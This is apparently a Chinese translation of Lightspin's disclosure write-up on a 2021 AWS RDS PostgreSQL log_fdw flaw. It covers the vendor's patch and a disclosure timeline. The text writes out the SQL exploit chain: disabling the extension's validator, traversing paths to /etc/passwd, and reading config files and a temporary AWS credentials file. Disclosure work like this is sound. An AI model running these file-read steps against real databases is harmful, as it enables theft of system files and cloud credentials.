AWS RDS漏洞导致AWS内部服务凭证失效
Lightspin 的研究团队在 RDS 服务上,利用 PostgreSQL 数据库中的 log_fdw 扩展功能所存在的本地文件读取漏洞,获得了一个 RDS 服务所在 EC2 实例上的访问凭证,这个访问凭证与 AWS 内部账号相关联。
该漏洞报告给了 AWS 安全团队,他们很快就打一个初始补丁,不过仅限于比较新的 RDS 服务版本和 Aurora PostgreSQL 引擎,不包括旧版本。
在打完补丁后,RDS团队亲自联系了过去几个月中使用有漏洞版本的每个客户,并指导他们完成升级过程,以确保减轻影响。最近,AWS团队已经确认,该漏洞已经被修复,没有客户受到影响。
你可能已经熟悉什么是亚马逊RDS了:亚马逊关系型数据库服务(RDS)是一个可管理的数据库服务,支持几个不同的数据库引擎,如MariaDB、MySQL,以及本帖的主题:PostgreSQL。AWS还维护着他们自己的数据库引擎--Amazon Aurora,它具备 PostgreSQL 和 MySQL 的兼容性。。
探讨
我使用Amazon Aurora PostgreSQL引擎创建了一个Amazon RDS数据库实例,并使用psql连接到数据库。我开始对数据库和预装角色进行了一些基本的探索。
注意,"postgres "用户不是一个真正的超级用户,它是一个rds_superuser。
AWS文档对该角色的描述是:"rds_superuser角色是一个预定义的亚马逊RDS角色,类似于PostgreSQL的超级用户角色(在本地实例中习惯上称为postgres),但有一些限制。"
很明显,这个rds_superuser不能运行系统命令,不能读取本地文件,也不能做任何与下线机器有关的操作。否则,这太容易了😉。
下面是一张截图,详细说明了在试图使用rds_superuser角色时的失败操作。
所以,我想过用一种不受信任的语言来创建一个可以执行系统命令的函数,但我无法加载不受信任的语言,如plperlu或plpythonu。
返回的错误建议看一下rds.extensions配置参数。
虽然亚马逊RDS的PostgreSQL引擎支持许多语言扩展,但它们都不是不受信任的语言。因此,我决定对这些扩展做一些进一步的分析和研究,希望能找到线索。
log_fdw扩展名
log_fdw扩展被9.6.2及以上版本的亚马逊RDS for PostgreSQL引擎所支持。这个扩展使用户能够使用SQL接口访问数据库引擎的日志,并建立外来表,将日志数据整齐地分成几列。
我按照文档的要求,创建了国外服务器和表。
- 获取log_fdw扩展,并将日志服务器创建为一个外来数据封装器。
CREATE EXTENSION log_fdw;
CREATE SERVER log_server FOREIGN DATA WRAPPER log_fdw;
SELECT * FROM list_postgres_log_files() order by 1;
2.选择一个日志文件,创建一个表并读取其内容。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘postgresql.log’);
SELECT * FROM my_postgres_error_log;
我想到的第一件事就是尝试进行路径穿越。下面的截图显示了这方面的尝试。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘../../../../../etc/passwd’);
在执行该命令时,我收到以下异常。"错误。指定的日志文件路径无效"。
我在想,这个错误是由于相对路径还是由于某些验证功能而发生的。为了检查这一点,我尝试了另一个相对路径,它不被归类为恶意模式。
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘./postgresql.log’);
这显然是一个验证函数。
了解PostgreSQL的外来数据
PostgreSQL允许使用常规的SQL查询来访问驻留在PostgreSQL之外的数据。这种数据被称为外来数据,并在外来数据包装器的帮助下被访问。国外数据包装器是一个库(通常用C语言编写),它可以与外部数据源(如文件)通信,并可以从它那里获得数据。
国外数据包装器的作者需要实现2个函数。
1.处理函数 - 触发获取外部数据的动作
2.验证器函数(可选)--负责验证给国外数据封装器的选项,以及国外服务器和国外表格的选项。
一旦创建了这些函数,用户就可以创建一个外国数据包装器。
用户还需要创建一个外国服务器,它定义了如何连接到一个特定的外部数据源。
然后,用户需要创建一个外来表,它定义了外部数据的结构。
对一个外来数据表的所有操作都是通过其相关的外来数据包装器来处理的。
AWS为log_fwd创建了一个自定义的国外数据包装器,其中包括一个处理函数和一个验证函数。
SELECT * FROM pg_foreign_data_wrapper;
绕过log_fdw扩展验证的问题
回到路径遍历上...... 验证可以发生在验证器函数、处理函数或两者中。由于验证器函数是可选的,你可以放弃它而不破坏功能。
ALTER FOREIGN DATA WRAPPER log_fdw NO VALIDATOR;
现在我们检查一下遍历是否会成功 ...
SELECT create_foreign_table_for_log_file(‘my_postgres_error_log’, ‘log_server’, ‘../../../../../etc/passwd’);
SELECT * FROM my_postgres_error_log;
它成功了!!!。在处理函数中没有验证。
由于实际上已经不需要遍历,可以直接创建表。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/etc/passwd’);
SELECT * FROM demo;
发现AWS内部服务访问令牌
我花了一些时间查看系统文件,直到我在PostgreSQL配置文件中发现了一个有趣的参数,这个参数没有通过使用psql显示。
PostgreSQL的配置文件位于"/rdsdbdata/config/postgresql.conf"。下面是配置文件的输出。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/rdsdbdata/config/postgresql.conf’); SELECT * FROM demo;
下面的截图突出了 "apg_storage_conf_file "这个有趣的参数,它指向另一个名为 "grover_volume.conf "的配置文件。
我不知道 "grover "是什么意思,但让我们看一下文件的内容。
下面是读取"/rdsdbdata/config/grover_volume.conf "内容的输出。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/rdsdbdata/config/grover_volume.conf’); SELECT * FROM demo;
该文件内容指向另一个文件"/tmp/csd-grover-credentials.json"。让我们看一下这个文件的内容(希望不要再被重定向到另一个文件😅)。
CREATE FOREIGN TABLE demo (t text) SERVER log_server OPTIONS (filename ‘/tmp/csd-grover-credentials.json’); SELECT * FROM demo;
该文件包括一个类型为 "CSD_GROVER_API_CREDENTIALS "的临时凭证。publicKey "和 "privateKey "的值分别看起来像STS的 "AccessKeyId "和 "SecretAccessKey"。暗示这一点的迹象是 "publicKey "的前缀是 "ASIA"(在AWS IAM用户指南的唯一标识符部分规定),以及额外的 "token "参数。
通过将访问密钥、秘密访问密钥和会话令牌导出到我的环境,并使用AWS安全令牌服务(STS)的GetCallerIdentity API来验证这一点,该API返回当前使用的IAM凭证的用户ID、账户ID和亚马逊资源名称(ARN)。从ARN中,我们可以看到假设的角色名称是AWS内部账户中的 "csd-grover-role"。
在穿越三个不同的文件时,我能够发现一个内部的AWS服务并获得访问权。我的分析和研究到此为止,我没有试图列举任何IAM权限或进一步横向进入AWS的内部环境。
AWS缓解和调查
我们向AWS安全团队报告了这个漏洞,他们在几天内发布了最新引擎版本的修复。AWS安全团队做了一个调查,以验证这个漏洞之前没有被其他人利用,并确认了这一点。
至于Grover,AWS不能透露有关内部服务的细节。
时间表
- 2021年12月9日。漏洞被报告给AWS安全部门。
- 2021年12月9日。AWS确认该漏洞,并开始进行补救和调查。
- 2021年12月14日。AWS部署了初始补丁,更新他们正在进行全面修复。
- 2022年3月22日:AWS确认,他们已经联系了所有受影响的客户,并修复了所有当前支持的版本。
总结
由于AWS云的现收现付模式和服务的多样性,它是全世界许多开发者、建筑师和安全专家的福音。然而,像任何服务提供商一样,包装第三方服务(如PostgreSQL)并试图为用户提供高级功能,有时是一把双刃剑。
2022-04-11更新:自从发表我们的文章后,AWS发布了与此发现有关的安全公告https://aws.amazon.com/security/security-bulletins/AWS-2022-004/
-----------------------------------
原文链接:https://blog.lightspin.io/aws-rds-critical-security-vulnerability